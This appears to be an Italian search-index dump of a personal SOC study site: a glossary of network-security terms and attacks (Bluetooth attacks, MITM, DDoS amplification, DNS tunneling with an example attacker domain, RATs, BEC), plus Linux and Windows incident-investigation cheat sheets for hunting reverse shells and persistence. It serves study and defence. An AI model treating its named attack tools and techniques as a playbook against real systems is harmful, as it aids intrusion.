Non ruba dati — è fastidioso ma relativamente innocuo. Sfrutta Discovery mode per trovare device raggiungibili. Hook: \u0026quot;jack\u0026quot; = prendere di sorpresa. Qualcuno ti manda un messaggio senza che tu lo aspetti.\nBluesnarfing — Accesso non autorizzato ai dati di un device Bluetooth: rubrica, email, calendario, SMS. Sfrutta vulnerabilità nel protocollo di pairing di Bluetooth pre-moderno per accedere senza conferma utente. Hook: \u0026quot;snarf\u0026quot; = arraffare, prendere di nascosto. Più grave di bluejacking — ruba dati reali.\nBluebugging — Va oltre bluesnarfing: accede al device + installa backdoor. L'attaccante può far chiamare il telefono per ascoltare conversazioni nella stanza, intercettare chiamate, abilitare call forwarding, inviare SMS. Il device diventa un microfono remoto. Hook: \u0026quot;bug\u0026quot; = microspie. Il telefono buggato lavora per l'attaccante.\nWar driving — Tecnica di ricognizione: guidare (o camminare, volare con drone) raccogliendo dati su reti WiFi visibili: SSID, MAC dell'AP, tipo di cifratura, potenza segnale, coordinate GPS. Usato sia dagli attaccanti (per trovare reti vulnerabili) sia dagli amministratori (wireless audit). Non è illegale il semplice rilevamento; catturare il traffico lo è. Tool: Kismet, NetStumbler, Wigle.net (database globale di reti rilevate).\nAutenticazione e Crittografia # PKI — Public Key Infrastructure (infrastruttura a chiave pubblica): il sistema completo di tecnologie, processi e policy che gestisce la creazione, distribuzione, revoca e verifica dei certificati digitali. Non e' un singolo prodotto — e' un'infrastruttura. I componenti chiave:\nCA (Certificate Authority): l'ente che emette e firma i certificati (es. DigiCert, Let's Encrypt, o una CA interna aziendale) Certificato digitale: file che associa una chiave pubblica a un'identita' (sito web, persona, azienda), firmato dalla CA per garantirne l'autenticita' CRL / OCSP: meccanismi per revocare certificati compromessi prima della loro scadenza Tool esempio: OpenSSL (genera chiavi e certificati), Windows Certificate Services (CA interna), Let's Encrypt (CA pubblica gratuita). Caso reale: quando accedi a https://banca.it, il tuo browser verifica che il certificato del sito sia firmato da una CA fidata — e' la PKI che rende TLS possibile. Senza PKI, non potresti verificare che stai parlando davvero con la banca e non con un MITM. Hook mnemonico: PKI = \u0026quot;il sistema dei passaporti digitali\u0026quot;. La CA e' il governo che emette il passaporto (certificato), tu sei il controllo frontiera che lo verifica. Exam tip: PKI non e' solo HTTPS — si usa anche per firmare email (S/MIME), autenticare dispositivi di rete, firmare codice (code signing) e per le smart card aziendali. MITM (Man In The Middle): Interposizione di un attaccante tra client e server — intercetta, legge e può modificare il traffico senza che nessuno dei due se ne accorga. Tool: Ettercap, Bettercap (ARP poisoning + SSL stripping), mitmproxy. Caso reale: su Wi-Fi pubblici non cifrati, un MITM passivo può catturare tutto il traffico HTTP. Fu il motivo principale del push globale verso HTTPS — l'iniziativa \u0026quot;HTTPS Everywhere\u0026quot; di EFF (2010) nacque proprio per rendere il MITM inutile sul web. Hook: stai parlando con la banca, ma in realtà parli con l'attaccante che gira i messaggi. TLS previene il MITM — per questo il lucchetto verde nel browser conta.\nTOFU (Trust On First Use): Meccanismo SSH per cui la chiave pubblica di un host sconosciuto viene accettata alla prima connessione senza verifica esterna — e salvata in ~/.ssh/known_hosts. Rischio: se la prima connessione avviene già durante un MITM, la chiave salvata è quella dell'attaccante. Hook: \u0026quot;fidati una volta, verifica poi\u0026quot;. Le connessioni successive usano la chiave salvata — se cambia, SSH avvisa con un warning rosso. Non ignorarlo.\nVPN e Accesso Remoto # VPN — Virtual Private Network — tunnel cifrato attraverso Internet che permette l'accesso a una rete privata come se si fosse fisicamente connessi. Flusso: connessione ISP → connessione al VPN server (screened subnet) → autenticazione (RADIUS) → tunnel stabilito → traffico privato nel tunnel. Tool: OpenVPN, WireGuard, IPsec, L2TP, Cisco AnyConnect. Hook: come un tubo invisibile dentro Internet — dall'esterno si vede solo traffico cifrato, dentro c'è la rete privata.\nVPN Concentrator — dispositivo dedicato per VPN in organizzazioni grandi. Include cifratura forte, autenticazione, supporto di centinaia/migliaia di client. Si posiziona nella screened subnet (DMZ). Alternativa scalabile rispetto a un server generico con ruolo VPN. Hook: \u0026quot;concentratore\u0026quot; — aggrega molte connessioni VPN su un solo punto dedicato.\nLDAP — Lightweight Directory Access Protocol — protocollo per accedere e interrogare directory di utenti (es. Active Directory). Backend dove vivono gli account utente e le password. RADIUS gli delega la verifica delle credenziali durante l'autenticazione VPN/802.1X. In ambienti Microsoft il server LDAP è il Domain Controller (AD DS). Porta: 389 (plaintext), 636 (LDAPS — cifrato). Hook: LDAP è la rubrica telefonica degli utenti — RADIUS la consulta per verificare chi sei.\nAAA — Authentication, Authorization, Accounting — triade dei servizi di controllo accessi di rete. Authentication: chi sei (verifica identità). Authorization: cosa puoi fare (permessi, VLAN, policy). Accounting: cosa hai fatto (log, durata sessione, traffico). RADIUS implementa tutti e tre. Hook: le tre A — autenticami, autorizzami, registra cosa faccio.\nIPsec — Internet Protocol Security — suite di protocolli che cifra e autentica i pacchetti IP. Opera a Layer 3. Due modalità: Tunnel Mode (cifra tutto il pacchetto incluso header — usato nelle VPN) e Transport Mode (cifra solo il payload — usato host-to-host in rete privata). Due sotto-protocolli: AH (autenticazione/integrità) e ESP (confidenzialità + auth + integrità).\nAH — Authentication Header — sotto-protocollo IPsec che fornisce autenticazione e integrità, ma non cifratura. IP Protocol number 51 (non una porta). Garantisce che il pacchetto non sia stato alterato e provenga da chi dice di essere. Exam trap: AH non cifra — solo ESP cifra. Se la domanda chiede confidenzialità → ESP.\nESP — Encapsulating Security Payload — sotto-protocollo IPsec che fornisce confidenzialità (cifratura), autenticazione e integrità. IP Protocol number 50. Il più usato nelle VPN IPsec perché cifra effettivamente il payload. Hook: \u0026quot;Encapsulating\u0026quot; = avvolge il payload in uno strato cifrato.\nIKE — Internet Key Exchange — protocollo IPsec per la negoziazione delle chiavi. Porta UDP 500. Autentica i due host e crea le Security Associations (SA) prima che inizi il traffico cifrato. L'unico componente IPsec che usa una porta tradizionale.\nSA — Security Association — accordo negoziato da IKE tra due host IPsec: algoritmo di cifratura da usare, chiavi, durata della sessione, parametri di integrità. Ogni SA è unidirezionale — servono due SA per una comunicazione bidirezionale.\nSSTP — Secure Socket Tunneling Protocol — protocollo VPN Microsoft che usa TLS su porta 443. Nonostante il nome contenga \u0026quot;SSL\u0026quot;, usa TLS (SSL è deprecato). Vantaggio: porta 443 attraversa quasi tutti i firewall e NAT senza configurazione. Alternativa a IPsec quando il NAT rompe ESP. Hook: nome dice SSL, funziona con TLS. Porta 443 = passa ovunque come HTTPS.\nNAC — Network Access Control — sistema di controllo accessi alla rete che ispeziona la \u0026quot;salute\u0026quot; del client (antivirus aggiornato, patch OS correnti, firewall attivo) prima di autorizzare la connessione. I client che non soddisfano i requisiti vengono inviati a una remediation network (quarantena) con risorse per rimettersi a posto. Si applica sia ai client VPN che ai client interni. Usa health agent (permanenti, dissolvibili o agentless) per raccogliere il statement of health. Prodotti: Cisco ISE, Aruba ClearPass, Microsoft NPS+NAP. Exam trap: NAC agent dissolvibile ≠ agentless — i vendor li chiamano entrambi \u0026quot;agentless\u0026quot; ma sono diversi. Hook: medico che fa la visita prima di farti entrare in ospedale — se sei malato vai in quarantena.\nRemediation Network (quarantine network) — segmento di rete isolato dove NAC manda i client che non soddisfano i requisiti di salute. Contiene solo le risorse necessarie per rimettersi a posto: server con patch approvate, antivirus aggiornato, virus signature correnti. Il client si aggiorna e poi riprova l'accesso normale.\nStatement of Health — documento generato dall'health agent NAC che riporta lo stato del client: versione antivirus, patch installate, stato firewall. Viene inviato al NAC server per la valutazione.\nSite-to-Site VPN — modello VPN in cui due VPN server/gateway creano un tunnel tra due reti geograficamente separate. Gli utenti non devono fare nulla — il tunnel è trasparente. Contrasto con remote access VPN (host-to-gateway): in quel caso è l'utente finale a iniziare la connessione. Caso tipico: HQ ↔ sede remota connesse tramite due VPN gateway. Hook: gateway-to-gateway = trasparente agli utenti. Host-to-gateway = l'utente avvia.\nAlways-On VPN — VPN che mantiene il tunnel attivo continuamente, invece di connettersi on-demand. In site-to-site: i gateway mantengono il tunnel 24/7. In direct access: il dispositivo si connette automaticamente alla VPN aziendale non appena ha Internet — anche su Wi-Fi pubblici. Garantisce che tutto il traffico passi sempre sotto il controllo aziendale (UTM, URL filter). Exam trap: always-on e on-demand si applicano sia a site-to-site che a remote access.\nL2TP — Layer 2 Tunneling Protocol — protocollo di tunneling che opera a Layer 2. Non fornisce cifratura da solo — crea solo il tunnel (il \u0026quot;tubo\u0026quot;). Per le VPN sicure viene sempre abbinato a IPsec: L2TP/IPsec. L2TP trasporta, IPsec cifra. Come TCP è il trasporto e TLS è la cifratura. Versione corrente: L2TPv3. Exam trap: L2TP da solo = nessuna cifratura. Se la domanda chiede \u0026quot;quale tunneling protocol non cifra?\u0026quot; → L2TP.\nHTML5 VPN Portal — accesso VPN via browser web, senza client VPN installato. Usa TLS (HTTPS) per la cifratura. Resource-intensive sul server — non scalabile per tutta l'organizzazione. Usato per accesso occasionale/limitato (es. consulenti che accedono a una sola risorsa). Alternativa leggera per utenti che non possono installare software. Hook: VPN nel browser — comodo per pochi, lento per tutti.\nPAP — Password Authentication Protocol — protocollo di autenticazione usato con PPP (Point-to-Point Protocol). Invia la password in cleartext sulla rete — vulnerabile allo sniffing. Nato per le connessioni dial-up anni '90 quando la sicurezza era un ripensamento. Oggi si usa solo come ultima risorsa. Exam trap: PAP = cleartext = sniffabile. Se la domanda chiede \u0026quot;quale protocollo di auth non cifra le credenziali?\u0026quot; → PAP.\nCHAP — Challenge Handshake Authentication Protocol — protocollo di autenticazione che usa PPP ma non invia mai la password in chiaro. Funzionamento: server invia un nonce (challenge) → client calcola hash(shared_secret + nonce) → invia solo l'hash → server verifica indipendentemente. Protegge da replay attack perché il nonce cambia ad ogni sessione. Ripete il handshake periodicamente durante la connessione. Hook: \u0026quot;prova che conosci il segreto senza dirmi qual è\u0026quot; — come HMAC.\nTACACS+ — Terminal Access Controller Access-Control System Plus — alternativa a RADIUS sviluppata da Cisco. Vantaggi su RADIUS: cifra l'intera sessione (non solo la password), usa TCP (guaranteed delivery), supporta multiple challenges durante la sessione, interagisce con Kerberos (Active Directory). Usato anche per autenticare admin su dispositivi di rete (router, switch) oltre che per VPN. Confronto chiave: RADIUS cifra solo password + UDP. TACACS+ cifra tutto + TCP. Exam trap: TACACS+ è Cisco ma non è solo per Cisco — può integrarsi con AD via Kerberos.\nDiameter — evoluzione di RADIUS, protocollo AAA completo. Usa TCP (non UDP), supporta più funzionalità. Spesso usato in reti mobile (4G/5G) e in ambienti più moderni rispetto a RADIUS classico. Come RADIUS e TACACS+, fornisce Authentication + Authorization + Accounting.\nPPP — Point-to-Point Protocol — protocollo data link per connessioni dirette tra due nodi (originariamente dial-up). Layer 2. Non fornisce cifratura — era il carrier di PAP e CHAP per l'autenticazione. Oggi usato raramente, principalmente con PPPoE (DSL) o come base per altri protocolli.\nProtocolli di Rete # NIC (Network Interface Card): Componente hardware che connette un dispositivo a una rete. Il termine è generico — include qualsiasi tipo di interfaccia di rete:\nEthernet (cablata) — eth0 su Linux Wi-Fi (wireless) — wlan0 su Linux Bluetooth — protocollo separato, stack diverso LTE/5G (modem integrati) — wwan0 o simili Fiber (SFP adapter) — Ethernet ad alta velocità su fibra ottica Tool: ip link show su Linux mostra tutte le NIC del sistema. Tool offensivo: NIC in promiscuous mode cattura tutto il traffico sul segmento, non solo quello indirizzato al proprio MAC — base tecnica di sniffer e IDS passivi. Caso reale: Wireshark richiede che la NIC sia in promiscuous mode per catturare il traffico degli altri host sul segmento. Hook mnemonico: NIC = \u0026quot;porta di accesso alla rete\u0026quot; — ogni dispositivo ha almeno una. Exam trap: nel contesto HIDS, il traffico analizzato passa attraverso la NIC dell'host — quindi un HIDS vede solo ciò che entra ed esce da quella specifica macchina, non il traffico tra altri host. DORA (Discover, Offer, Request, Acknowledge): Ciclo di assegnazione indirizzi IP del protocollo DHCP.\nMSS (Maximum Segment Size): Payload massimo di un segmento TCP (tipicamente 1460 bytes).\nPDU (Protocol Data Unit): Unita' di dati a un dato livello OSI. Ogni layer ha il proprio nome: Layer 4 = Segment (TCP) / Datagram (UDP), Layer 3 = Packet (IP), Layer 2 = Frame (Ethernet), Layer 1 = Bit.\nFrame: PDU del Layer 2 (Ethernet). Contiene MAC sorgente, MAC destinazione, tipo e payload (il pacchetto IP incapsulato dentro). Lo switch legge solo i MAC del frame — non guarda mai l'IP nel payload.\nSTARTTLS: Comando per aggiornare una connessione in chiaro a una cifrata (TLS) sulla stessa porta.\nAS (Autonomous System): Una grande rete o gruppo di reti gestita da un'unica entità (es. Google, un ISP) con una politica di routing comune.\nASN (Autonomous System Number): Identificativo numerico unico a livello mondiale assegnato a ogni AS per permettere l'instradamento del traffico tramite protocollo BGP.\nBGP (Border Gateway Protocol): Il protocollo di routing \u0026quot;delle autostrade\u0026quot; di Internet. Gestisce lo scambio di rotte tra diversi Autonomous Systems.\neBGP / iBGP: L'External BGP scambia rotte tra AS diversi; l'Internal BGP scambia rotte internet all'interno dello stesso AS.\nIGP (Interior Gateway Protocol): Protocolli usati per il routing dentro una città-stato/azienda (es: OSPF, RIP). Non si usano su Internet globale.\nAttori DNS # Registrar: Azienda accreditata dove si acquista e registra un nome dominio (es. Namecheap, Aruba, GoDaddy). Sa che quel dominio e' tuo — niente di piu'. Non gestisce i record DNS a meno che tu non glielo dica esplicitamente. Authoritative Nameserver: Il server che detiene i record DNS reali di un dominio. E' l'ultima tappa della catena — risponde con l'informazione definitiva. Se compri un dominio e punti i NS record al tuo VPS, quel VPS diventa il tuo authoritative nameserver. Rilevanza attacco: nel DNS tunneling il C2 dell'attaccante e' un authoritative server — riceve tutte le query verso *.evilhacker.com. Recursive Resolver (o DNS Resolver): Il \u0026quot;postino\u0026quot; della risoluzione DNS. Riceve la query del client, interroga la gerarchia (root → TLD → authoritative) e restituisce la risposta. Di solito e' il DNS dell'ISP o un pubblico come 8.8.8.8. E' l'attore ignaro nel DNS tunneling: inoltra il traffico C2 senza sapere cosa trasporta. Root DNS Server: Vertice della gerarchia DNS. Non conosce gli IP dei domini, sa solo dove sono i nameserver TLD. Esistono 13 indirizzi root (gestiti da ICANN e organizzazioni partner), replicati in centinaia di server fisici. TLD Nameserver (Top-Level Domain): Gestisce un'estensione (.com, .it, .org). Sa quali nameserver sono autoritativi per ogni dominio registrato sotto quell'estensione. Tecniche di Attacco # DoS (Denial of Service): Attacco da un singolo attaccante verso un singolo target. Obiettivo: resource exhaustion — saturare CPU, memoria o banda fino a rendere il servizio irraggiungibile. Nei casi estremi: crash del sistema. Tool esempio: hping3, LOIC. Caso reale: attacchi DoS su singoli server web negli anni '90. Hook mnemonico: uno contro uno — come bloccare l'ingresso di un edificio da soli.\nDDoS (Distributed Denial of Service): Variante distribuita del DoS — da molti attaccanti (o da una botnet controllata da uno) verso un singolo target. Il volume aggregato è impossibile da filtrare per IP singolo. Indicatori: traffico NIC anormalmente alto, CPU/RAM al massimo senza carico applicativo. Nel cloud: autoscaling gonfia i costi, bandwidth billing esplode.\nReflected DDoS — l'attaccante spoofa l'IP sorgente (mette IP vittima), manda richieste a server terzi. I server terzi rispondono alla vittima (che non ha chiesto nulla). La vittima viene sommersa da risposte non richieste. Amplified DDoS — combina reflection con protocolli che generano risposte enormi per richieste piccole: DNS (~50x), NTP monlist (~500x), Memcached (fino a 50.000x). Pochi byte mandati → megabyte diretti alla vittima. Tool esempio: Mirai botnet (2016) — abbattuto Dyn DNS rendendo irraggiungibili Twitter, Netflix, Reddit per ore. Mitigazione: rate limiting, ACL, AWS Shield, Cloudflare Magic Transit. Hook mnemonico: distributed = esercito vs un castello. Flood (DoS/DDoS flooding): Invio massiccio e continuo di traffico verso un target per saturarlo e renderlo non disponibile — attacco alla Availability della CIA triad. Varianti principali:\nSYN flood — apre migliaia di connessioni TCP a metà (SYN senza ACK finale), esaurendo le risorse del server. Pattern preciso e noto → rilevato da IDS signature-based. ICMP flood (ping storm) — inonda il target di pacchetti ICMP echo request. UDP flood — inonda porte UDP casuali, forzando il target a rispondere con \u0026quot;port unreachable\u0026quot; fino all'esaurimento. DDoS flood distribuito — stesso meccanismo ma da migliaia di IP diversi (botnet). Ogni singolo IP manda pochi pacchetti → nessuna firma per singolo IP → rilevato da IDS anomaly-based (il traffico aggregato si discosta dalla baseline). Tool: rilevato da IDS/IPS, mitigato da rate limiting, firewall ACL, DDoS protection (Cloudflare, AWS Shield). Caso reale: il SYN flood è uno degli attacchi DoS più documentati dagli anni '90 — Mirai botnet (2016) ha usato UDP/ICMP flood per abbattere Dyn DNS e rendere irraggiungibili Twitter, Netflix, Reddit per ore. Hook mnemonico: flood = alluvione di pacchetti. Il server annega e non riesce più a rispondere alle richieste legittime. Supply Chain: L'insieme dei fornitori, produttori, distributori e partner che contribuiscono alla creazione e consegna di un prodotto o servizio. In ambito security, è un vettore di attacco: un attaccante compromette un anello della catena (hardware, software, aggiornamenti) per raggiungere il target finale senza attaccarlo direttamente. Esempi reali: SolarWinds (aggiornamento software trojanizzato), hardware con backdoor inserite in fabbrica. Sul Security+: compare in scenari di counterfeit hardware, third-party risk e vendor management. La mitigazione principale è l'analisi della supply chain + right to audit nei contratti vendor.\nSpoofing: Falsificazione dell'identità in una comunicazione di rete. L'attaccante manipola un campo identificativo (indirizzo IP, MAC, email, numero di telefono, display name) per sembrare una fonte legittima. Non implica accesso reale all'account o al dispositivo impersonato — è solo un'etichetta falsa sul pacchetto/messaggio. Varianti comuni: IP spoofing, ARP spoofing, email spoofing (display name ≠ indirizzo reale), DNS spoofing. Sul Security+: compare spesso in scenari BEC (\u0026quot;executive's name in the display field\u0026quot;) e attacchi di rete (ARP poisoning, MITM).\nVettore di attacco: Il mezzo con cui il malware arriva sulla vittima. Esempi: phishing email con allegato, link malevolo, exploit di vulnerabilita', USB drop, supply chain compromise.\nC2 (Command and Control): infrastruttura (tipicamente uno o più server) che funge da canale di comunicazione tra il malware installato sulla vittima e l’attaccante. Consente all’attaccante di inviare comandi, ricevere risultati ed eventualmente aggiornare configurazioni o scaricare nuovi payload. Il traffico C2 può viaggiare su HTTP/S, DNS, ICMP o praticamente qualsiasi altro protocollo/servizio che permetta di instaurare un canale bidirezionale (es. reverse shell, DNS tunneling, ecc.).\nEsempio: una macchina vittima infetta apre una connessione HTTPS verso l’IP 203.0.113.10, appartenente all’infrastruttura dell’attaccante. Da quel momento: la vittima è il client compromesso; l’IP 203.0.113.10 viene etichettato come server C2 dell’infostealer, perché è l’endpoint che riceve i dati rubati e da cui partono i comandi di controllo remoto. Beaconing: Il malware contatta il C2 a intervalli regolari (es. ogni 60 secondi) per ricevere nuovi comandi, anche quando non sta eseguendo nulla. Riconoscibile in un dfir da connessioni periodiche verso lo stesso host con payload simile.\nDNS Poisoning (DNS cache poisoning): Attacco che inietta record DNS falsi nella cache di un resolver. L'attaccante sfrutta la finestra temporale in cui il server aspetta la risposta del server autoritativo — manda una risposta falsa prima che arrivi quella vera. Scope ampio: tutti gli utenti che usano quel resolver vengono colpiti. Indicatore: l'utente digita un URL corretto ma viene portato su un sito diverso. Difesa: DNSSEC (firma crittografica dei record DNS). Hook mnemonico: avvelenare il pozzo del villaggio — tutti bevono acqua contaminata.\nPharming: Portmanteau di \u0026quot;phishing\u0026quot; + \u0026quot;farming\u0026quot;. Attacco che manipola la risoluzione DNS a livello locale — modifica il file hosts del sistema operativo (Windows: C:\\Windows\\System32\\drivers\\etc\\hosts, Linux: /etc/hosts, macOS: /private/etc/hosts). Il file hosts ha priorità assoluta sul DNS: se contiene una entry per google.com, il sistema va a quell'IP senza interrogare nessun server DNS. Scope locale: colpisce solo quella macchina. Stesso indicatore del DNS poisoning (URL corretto → sito sbagliato) ma causa diversa. Difesa: protezione accesso file hosts, EDR, monitoraggio integrità file di sistema. Hook mnemonico: avvelenare il bicchiere di una sola persona — non il pozzo.\nTOCTOU (Time of Check to Time of Use): Tipo di race condition sfruttabile come attacco. Il sistema controlla i permessi su una risorsa (time of check), poi la usa (time of use) — ma tra i due momenti esiste una finestra temporale. Se l'attaccante riesce a modificare la risorsa in quella finestra (es. sostituire un file legittimo con uno malevolo via symlink), il sistema usa la versione compromessa pur avendo validato quella originale. Chiamato anche state attack. Il sistema colpito si chiama TOE (Target of Evaluation). Difesa: transazioni atomiche, locking, double-check al time of use, evitare symlink su path critici. Hook mnemonico: come prenotare un posto aereo — l'app controlla che il posto sia libero (check), ma se due persone lo selezionano nello stesso istante e non c'è un lock, entrambe lo ottengono (use).\nTOE (Target of Evaluation): Il sistema soggetto a valutazione di sicurezza o, nel contesto TOCTOU, il sistema bersaglio di un attacco di race condition. Termine usato nel contesto dei Common Criteria (standard internazionale per la certificazione della sicurezza dei prodotti IT).\nDNS Filtering: Tecnica difensiva che usa blocklist di domain name malevoli noti. Quando un client chiede l'IP di un dominio in lista, il server risponde con NXDOMAIN (dominio non esistente) o con un IP errato. Nota: non è una lista di URL completi — il DNS vede solo il dominio, non il path. Un dominio bloccato blocca tutto ciò che ci gira sotto. Usato da Cisco Umbrella, Cloudflare Gateway, firewall aziendali.\nDNS Sinkhole: Variante del DNS filtering — invece di rispondere con NXDOMAIN, il sinkhole risponde con un IP controllato dal defender. \u0026quot;Sinkhole\u0026quot; = buco del lavandino: il traffico scorre verso il buco e non arriva a destinazione. Vantaggio rispetto al semplice blocco: si può osservare chi si connette al sinkhole (identificare macchine infette), loggare il comportamento dei malware, e disarmare una botnet senza toccare i client. Caso tipico: autorità reverse-engineerano malware → trovano i domain name C2 hardcodati → coordinano con i DNS owner per redirectare quei domini verso un sinkhole → i bot continuano a \u0026quot;chiamare casa\u0026quot; ma parlano con le autorità. Hook mnemonico: lavandino tappato — l'acqua (traffico malevolo) non va nello scarico ma torna su e si accumula dove la vedi.\nDNS Tunneling: Tecnica che usa il protocollo DNS per trasportare dati C2. L'exfiltration viaggia nei sottodomini (base64 nell'URL), i comandi viaggiano nei record TXT/CNAME/NULL della risposta. Bypassa i firewall perche' UDP 53 e' quasi sempre permesso.\nRAT (Remote Access Trojan): Malware che installa una backdoor sul sistema della vittima e dà all'attaccante controllo remoto completo — shell, webcam, keylogger, download/upload file. Si installa tipicamente tramite phishing o documento malevolo. Una volta attivo, l'attaccante opera dall'interno della rete vittima. Tool esempio: njRAT, QuasarRAT, Cobalt Strike (usato sia in red team che da attaccanti). Caso reale: APT installano RAT tramite phishing per poi muoversi lateralmente — anche un sistema interno autorizzato (es. PC di Homer) può diventare punto di lancio verso reti critiche (SCADA). Hook mnemonico: RAT = \u0026quot;topo nel sistema\u0026quot; — è nascosto, silenzioso, controlla tutto dall'interno. Exam trap: non confondere RAT con un reverse shell grezzo — il RAT è persistente, si reinstalla al riavvio, e ha funzionalità complete di controllo remoto.\nEmail Security # I tre \u0026quot;buttafuori\u0026quot; dell'email — lavorano insieme per verificare che chi manda sia chi dice di essere:\nSPF (Sender Policy Framework): Record DNS che elenca gli IP autorizzati a inviare email per quel dominio. Se l'email arriva da un IP non in lista, SPF fallisce. Hook: whitelist degli IP mittenti. Facile da bypassare da solo (spoofing del display name) — serve DMARC per farlo valere.\nDKIM (DomainKeys Identified Mail): Firma crittografica nell'header dell'email. Il server mittente firma con la chiave privata, il destinatario verifica con la chiave pubblica pubblica sul DNS. Garantisce che l'email non sia stata modificata in transito. Hook: la firma notarile sull'email. Anche se l'IP è corretto (SPF ok), senza firma valida il contenuto potrebbe essere stato manomesso.\nDMARC (Domain-based Message Authentication Reporting and Conformance): Policy DNS che dice al destinatario cosa fare se SPF o DKIM falliscono — none (solo report), quarantine (spam folder), reject (blocca). Genera anche report aggregati sulle email inviate a nome del tuo dominio. Hook: il regista che decide cosa succede quando i buttafuori dicono no. Senza DMARC, SPF e DKIM falliti vengono spesso ignorati dal server ricevente.\nBEC (Business Email Compromise): Truffa via email che impersona figure aziendali (CEO, CFO, legale) per indurre trasferimenti di denaro o invio di dati sensibili. Non usa malware — pura ingegneria sociale. Caso reale: Ubiquiti Networks (2015) — truffata di 46,7M$ via BEC. Un dipendente credette di eseguire ordini del CEO e trasferì fondi su conti dell'attaccante in Asia. FBI ne recuperò solo una parte. Hook: nessun allegato, nessun malware, nessun antivirus che suona. FBI riporta che il BEC ha generato oltre 50 miliardi di dollari di perdite globali dal 2013.\n","date":"20 aprile 2026","externalUrl":null,"permalink":"/dump/glossari/glossario-cyber/","section":"Dump","summary":"Dizionario centrale degli acronimi e dei termini tecnici incontrati durante il percorso da Developer a SOC Specialist.","title":"Glossario Cyber \u0026 SOC","type":"dump"},{"content":" Cosa fa # Fornisce una serie di comandi da terminale per analizzare lo stato di un sistema Linux durante la fase di Identification di un incidente, cercando tracce di compromissione in processi, file e rete.\nAnalisi Processi e Servizi # Comando Cosa cercare Perché ps -aux Processi con UID 0 (root) Identificare privilege escalation o processi root non autorizzati. ps -ef Albero dei processi completo Capire chi ha generato un processo sospetto (Parent PID). lsof -p [PID] File e porte aperti dal processo Capire se un processo sta comunicando con l'esterno o leggendo file sensibili. lsof +L1 Processi con file eliminati Scovare malware che ha cancellato il proprio eseguibile dal disco per nascondersi. Analisi Rete # Comando Significato Obiettivo Blue Team ip link grep PROMISC` Modalità promiscua Rilevare packet sniffer non autorizzati in esecuzione. netstat -nap Porte e connessioni attive Trovare backdoor o Reverse Shell (es: porte sospette come 4444). ss -tulpn Versione moderna di netstat Più veloce e dettagliata per socket TCP/UDP. arp -a Tabella ARP Rilevare dispositivi \u0026quot;rogue\u0026quot; o attacchi di ARP Poisoning nella rete locale. Analisi Filesystem # Comando Obiettivo Tip Investigativo find / -size +50M -print Trovare file molto grandi Cercare archivi pronti per l'esfiltrazione (solitamente in /tmp). uptime Tempo di attività Un uptime insolitamente basso indica un riavvio forzato dall'attaccante. free -m Utilizzo RAM Rilevare picchi di memoria causati da scanner, miner o cifratura (Ransomware). df -h Spazio disco disponibile Un disco che si riempie all'improvviso può indicare logging massivo o staging di dati. Analisi Log e Timeline # La maggior parte dei log si trova in /var/log/.\ntail -f /var/log/auth.log: Monitoraggio in tempo reale dei tentativi di login. last -f /var/log/wtmp: Storia degli ultimi login riusciti. lastb -f /var/log/btmp: Storia dei login falliti (ottimo per individuare Brute Force). more /var/log/messages: Log di sistema generali per errori insoliti. Scenario Reale # Ricevi un alert per traffico insolito sulla porta 4444.\nEsegui ss -tulpn | grep 4444 per trovare il PID del processo. Usi ps -p [PID] -u per vedere chi lo ha lanciato. Usi lsof -p [PID] per vedere dove si trova l'eseguibile. Se il file non esiste, usi lsof +L1 per confermare che il malware è in esecuzione solo in memoria. Collegato a # system — Hub Categoria incident-response-lifecycle — Fase di Identification soc-tiers — Strumenti per Tier 1/2 ","date":"20 aprile 2026","externalUrl":null,"permalink":"/comandi/investigazione-linux/","section":"Comandi","summary":"Comandi essenziali per l'identificazione di anomalie, processi malevoli e connessioni sospette su sistemi UNIX/Linux.","title":"Investigazione Incidenti Linux - Cheat Sheet","type":"comandi"},{"content":" Cosa fa # Fornisce una guida rapida ai comandi da CMD/PowerShell per identificare tracce di compromissione su sistemi Windows durante la fase di Identification.\nAnalisi Processi e Servizi # Comando Obiettivo Perché è utile tasklist Elenco processi attivi Vedere nomi processi e PID. tasklist /svc Processi + Servizi associati Identificare malware che si maschera da svchost.exe. wmic process list full Dettagli completi processi Vedere il percorso del file .exe (scovare eseguibili in /temp). taskkill /F /PID [ID] Terminazione forzata Fermare un processo malevolo immediatamente. Persistenza e Auto-avvio # Gli attaccanti cercano di sopravvivere ai riavvii (Persistence).\nComando / Tool Cosa cercare wmic startup list full Programmi avviati al boot. schtasks Task pianificati (cercare nomi strani o orari notturni). msconfig Configurazioni di boot e servizi. regedit Chiavi: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Analisi Rete # Comando Obiettivo netstat -nao Connessioni attive con PID (fondamentale per mappare processo -\u0026gt; rete). nbtstat -S Attività NetBIOS over TCP/IP. ipconfig /displaydns Cache DNS (vedere quali siti ha contattato il malware). Analisi Utenti e Permessi # Comando Obiettivo Blue Team net user Elenco utenti locali (cercare nuovi account non autorizzati). net localgroup administrators Verificare chi ha privilegi di Admin (Privilege Escalation). lusrmgr.msc Interfaccia grafica per gestione utenti e gruppi. Event Viewer (La Scatola Nera) # Accessibile con eventvwr.msc.\nLog Mancanti: Se ci sono lacune temporali, l'attaccante ha cancellato i log. Event ID Critici: 4624: Logon riuscito. 4625: Logon fallito (Brute Force). 4720: Nuovo utente creato. 4688: Nuovo processo creato (se attivato auditing). Scenario Reale # Ricevi un alert di traffico sospetto da una workstation Windows.\nEsegui netstat -nao e trovi una connessione sulla porta 4444 collegata al PID 1234. Esegui wmic process where processid=1234 get executablepath e scopri che l'eseguibile è in C:\\Users\\Public\\svchost.exe. Noti che il percorso è sbagliato (svchost deve stare in System32). Uccidi il processo con taskkill /F /PID 1234 e isoli la macchina. Collegato a # system — Hub Categoria incident-response-lifecycle — Fase di Identification soc-tiers — Strumenti per Tier 1/2 ","date":"20 aprile 2026","externalUrl":null,"permalink":"/comandi/investigazione-windows/","section":"Comandi","summary":"Comandi e strumenti essenziali per rilevare anomalie, persistenza e account sospetti in ambiente Windows.","title":"Investigazione Incidenti Windows - Cheat Sheet","type":"comandi"},{"content":" Cosa fa # Definisce la gerarchia operativa del SOC e gli strumenti (SIEM, EDR, Playbook) necessari per gestire il rilevamento e la risposta agli incidenti attraverso una struttura a tre livelli.\nTL;DR # graph TD A[Log \u0026 Events] --\u003e|SIEM| B[Tier 1: Monitor \u0026 Triage] B --\u003e|Playbook/AI| C{Triage} C --\u003e|Falso Positivo| D[Chiusura] C --\u003e|Escalation| E[Tier 2: Investigate \u0026 Respond] E --\u003e|EDR/Forensics| F[Contenimento \u0026 Recovery] E --\u003e|Caso APT| G[Tier 3: Hunt \u0026 Improve] 